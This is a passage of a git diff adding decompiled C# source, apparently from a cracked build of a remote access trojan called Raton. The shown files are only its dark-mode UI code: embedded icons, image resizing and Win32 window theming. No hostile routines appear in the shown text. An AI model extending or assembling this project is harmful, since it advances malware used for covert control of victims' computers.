jIWxAnKoZNs8LUfR/NZcvIs6DJW4AAAAASUVORK5CYII="), + new Base64Image("Edit", "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"), + new Base64Image("List", "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") + }; + + public List Icons + { + get => this._Icons; + set => this._Icons = value; + } + + public Image GetIcon(string pName) + { + if (this._Icons == null || this._Icons.Count == 0) + return (Image) null; + Base64Image base64Image = this._Icons.Find((Predicate) (x => x.Name == pName)); + return base64Image?.Image == null ? (Image) null : this.ResizeImage(base64Image.Image, 200, 200); + } + + private Image ResizeImage(Image original, int width, int height) + { + Bitmap bitmap = new Bitmap(width, height); + using (Graphics graphics = Graphics.FromImage((Image) bitmap)) + { + graphics.InterpolationMode = InterpolationMode.HighQualityBicubic; + graphics.PixelOffsetMode = PixelOffsetMode.HighQuality; + graphics.SmoothingMode = SmoothingMode.HighQuality; + graphics.Clear(Color.Transparent); + float num = Math.Min((float) width / (float) original.Width, (float) height / (float) original.Height); + int width1 = (int) ((double) original.Width * (double) num); + int height1 = (int) ((double) original.Height * (double) num); + int x = (width - width1) / 2; + int y = (height - height1) / 2; + graphics.DrawImage(original, x, y, width1, height1); + } + return (Image) bitmap; + } + + public Image GetIcon(MsgIcon pIcon) => this.GetIcon(pIcon.ToString()); + + public bool AddIcon(string pName, string pFilePath) + { + bool flag = false; + if (!string.IsNullOrEmpty(pFilePath) && File.Exists(pFilePath)) + { + byte[] inArray = File.ReadAllBytes(pFilePath); + if (inArray != null) + { + if (this._Icons == null) + this._Icons = new List(); + this._Icons.Add(new Base64Image(pName, Convert.ToBase64String(inArray))); + flag = true; + } + } + return flag; + } +} diff --git a/Raton RAT/DarkModeForms/Base64Image.cs b/Raton RAT/DarkModeForms/Base64Image.cs new file mode 100644 index 0000000..403363c --- /dev/null +++ b/Raton RAT/DarkModeForms/Base64Image.cs @@ -0,0 +1,37 @@ +// Decompiled with JetBrains decompiler +// Type: DarkModeForms.Base64Image +// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe + +using System; +using System.Drawing; +using System.IO; + +#nullable disable +namespace DarkModeForms; + +public class Base64Image +{ + public Base64Image() + { + } + + public Base64Image(string pName, string pBase64Data) + { + this.Name = pName; + this.Base64Data = pBase64Data; + } + + public string Name { get; set; } + + public string Base64Data { get; set; } + + public Image Image + { + get + { + return string.IsNullOrEmpty(this.Base64Data) ? (Image) null : Image.FromStream((Stream) new MemoryStream(Convert.FromBase64String(this.Base64Data))); + } + } +} diff --git a/Raton RAT/DarkModeForms/ControlStatusInfo.cs b/Raton RAT/DarkModeForms/ControlStatusInfo.cs new file mode 100644 index 0000000..46a66c4 --- /dev/null +++ b/Raton RAT/DarkModeForms/ControlStatusInfo.cs @@ -0,0 +1,15 @@ +// Decompiled with JetBrains decompiler +// Type: DarkModeForms.ControlStatusInfo +// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe + +#nullable disable +namespace DarkModeForms; + +public class ControlStatusInfo +{ + public bool IsExcluded { get; set; } + + public bool LastThemeAppliedIsDark { get; set; } +} diff --git a/Raton RAT/DarkModeForms/ControlStatusStorage.cs b/Raton RAT/DarkModeForms/ControlStatusStorage.cs new file mode 100644 index 0000000..5899b64 --- /dev/null +++ b/Raton RAT/DarkModeForms/ControlStatusStorage.cs @@ -0,0 +1,41 @@ +// Decompiled with JetBrains decompiler +// Type: DarkModeForms.ControlStatusStorage +// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe + +using System.Runtime.CompilerServices; +using System.Windows.Forms; + +#nullable disable +namespace DarkModeForms; + +public class ControlStatusStorage +{ + private readonly ConditionalWeakTable _controlsProcessed = new ConditionalWeakTable(); + + public void ExcludeFromProcessing(Control control) + { + this._controlsProcessed.Remove(control); + this._controlsProcessed.Add(control, new ControlStatusInfo() + { + IsExcluded = true + }); + } + + public ControlStatusInfo GetControlStatusInfo(Control control) + { + ControlStatusInfo controlStatusInfo; + this._controlsProcessed.TryGetValue(control, out controlStatusInfo); + return controlStatusInfo; + } + + public void RegisterProcessedControl(Control control, bool isDarkMode) + { + this._controlsProcessed.Add(control, new ControlStatusInfo() + { + IsExcluded = false, + LastThemeAppliedIsDark = isDarkMode + }); + } +} diff --git a/Raton RAT/DarkModeForms/CustomColorTable.cs b/Raton RAT/DarkModeForms/CustomColorTable.cs new file mode 100644 index 0000000..24805be --- /dev/null +++ b/Raton RAT/DarkModeForms/CustomColorTable.cs @@ -0,0 +1,30 @@ +// Decompiled with JetBrains decompiler +// Type: DarkModeForms.CustomColorTable +// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe + +using System.Drawing; +using System.Windows.Forms; + +#nullable disable +namespace DarkModeForms; + +public class CustomColorTable : ProfessionalColorTable +{ + public OSThemeColors Colors { get; set; } + + public CustomColorTable(OSThemeColors _Colors) + { + this.Colors = _Colors; + this.UseSystemColors = false; + } + + public override Color ToolStripDropDownBackground => this.Colors.Background; + + public override Color ImageMarginGradientBegin => this.Colors.Background; + + public override Color ImageMarginGradientMiddle => this.Colors.Background; + + public override Color ImageMarginGradientEnd => this.Colors.Background; +} diff --git a/Raton RAT/DarkModeForms/DarkModeCS.cs b/Raton RAT/DarkModeForms/DarkModeCS.cs new file mode 100644 index 0000000..fb190a2 --- /dev/null +++ b/Raton RAT/DarkModeForms/DarkModeCS.cs @@ -0,0 +1,815 @@ +// Decompiled with JetBrains decompiler +// Type: DarkModeForms.DarkModeCS +// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe + +using Microsoft.Win32; +using Raton.Classes; +using Raton.RatonForms; +using RatonBack; +using System; +using System.Collections; +using System.ComponentModel; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.Drawing.Imaging; +using System.Globalization; +using System.Linq; +using System.Reflection; +using System.Runtime.InteropServices; +using System.Threading.Tasks; +using System.Windows.Forms; +using System.Windows.Forms.Layout; + +#nullable disable +namespace DarkModeForms; + +public class DarkModeCS +{ + public const int EM_SETCUEBANNER = 5377; + public const int WM_SETTINGSCHANGE = 26; + public const int WM_THEMECHANGED = 794; + public const int GWLP_WNDPROC = -4; + private const string USER32 = "user32.dll"; + private static readonly ControlStatusStorage controlStatusStorage = new ControlStatusStorage(); + private static ControlEventHandler ownerFormControlAdded; + private static EventHandler controlHandleCreated; + private static ControlEventHandler controlControlAdded; + private bool _IsDarkMode; + private IntPtr originalWndProc; + private DarkModeCS.WndProc newWndProcDelegate; + private bool applyingTheme; + + [DllImport("user32.dll", CharSet = CharSet.Auto)] + public static extern IntPtr SendMessage(IntPtr hWnd, int msg, IntPtr wParam, [MarshalAs(UnmanagedType.LPWStr)] string lParam); + + [DllImport("DwmApi")] + public static extern int DwmSetWindowAttribute( + IntPtr hwnd, + int attr, + int[] attrValue, + int attrSize); + + [DllImport("dwmapi.dll")] + public static extern int DwmGetWindowAttribute( + IntPtr hwnd, + int dwAttribute, + out DarkModeCS.RECT pvAttribute, + int cbAttribute); + + [DllImport("uxtheme.dll", CharSet = CharSet.Unicode)] + private static extern int SetWindowTheme(IntPtr hWnd, string pszSubAppName, string pszSubIdList); + + [DllImport("dwmapi.dll", EntryPoint = "#127")] + public static extern void DwmGetColorizationParameters(ref DarkModeCS.DWMCOLORIZATIONcolors colors); + + [DllImport("Gdi32.dll")] + private static extern IntPtr CreateRoundRectRgn( + int nLeftRect, + int nTopRect, + int nRightRect, + int nBottomRect, + int nWidthEllipse, + int nHeightEllipse); + + [DllImport("user32")] + private static extern IntPtr GetDC(IntPtr hwnd); + + [DllImport("user32")] + private static extern IntPtr ReleaseDC(IntPtr hwnd, IntPtr hdc); + + private static IntPtr GetHeaderControl(ListView list) + { + return DarkModeCS.SendMessage(list.Handle, 4127, IntPtr.Zero, ""); + } + + [DllImport("user32.dll", EntryPoint = "SetWindowLong")] + private static extern int SetWindowLong32(IntPtr hWnd, int nIndex, int dwNewLong); + + [DllImport("user32.dll", EntryPoint = "SetWindowLongPtr")] + private static extern IntPtr SetWindowLongPtr64(IntPtr hWnd, int nIndex, IntPtr dwNewLong); + + public static IntPtr SetWindowLongPtr(IntPtr hWnd, int nIndex, IntPtr dwNewLong) + { + return IntPtr.Size == 8 ? DarkModeCS.SetWindowLongPtr64(hWnd, nIndex, dwNewLong) : new IntPtr(DarkModeCS.SetWindowLong32(hWnd, nIndex, dwNewLong.ToInt32())); + } + + [DllImport("user32.dll", SetLastError = true)] + private static extern IntPtr CallWindowProc( + IntPtr lpPrevWndFunc, + IntPtr hWnd, + int msg, + IntPtr wParam, + IntPtr lParam); + + public DarkModeCS.DisplayMode ColorMode { get; set; } + + public bool IsDarkMode => this._IsDarkMode; + + public bool ColorizeIcons { get; set; } + + public bool RoundedPanels { get; set; } + + public Form OwnerForm { get; set; } + + public OSThemeColors OScolors { get; set; } + + public DarkModeCS(Form _Form, bool _ColorizeIcons = false, bool _RoundedPanels = false) + { + DarkModeCS darkModeCs = this; + this.OwnerForm = _Form; + this.ColorizeIcons = _ColorizeIcons; + this.RoundedPanels = _RoundedPanels; + if (this.originalWndProc == IntPtr.Zero) + _Form.HandleCreated += (EventHandler) ((sender, e) => + { + darkModeCs.newWndProcDelegate = new DarkModeCS.WndProc(darkModeCs.CustomWndProc); + darkModeCs.originalWndProc = DarkModeCS.SetWindowLongPtr(_Form.Handle, -4, Marshal.GetFunctionPointerForDelegate(darkModeCs.newWndProcDelegate)); + }); + _Form.Load += (EventHandler) ((sender, e) => + { + darkModeCs._IsDarkMode = darkModeCs.isDarkMode(); + if (darkModeCs.ColorMode != DarkModeCS.DisplayMode.SystemDefault) + darkModeCs._IsDarkMode = darkModeCs.ColorMode == DarkModeCS.DisplayMode.DarkMode; + darkModeCs.ApplyTheme(darkModeCs._IsDarkMode); + }); + } + + private IntPtr CustomWndProc(IntPtr hWnd, int msg, IntPtr wParam, IntPtr 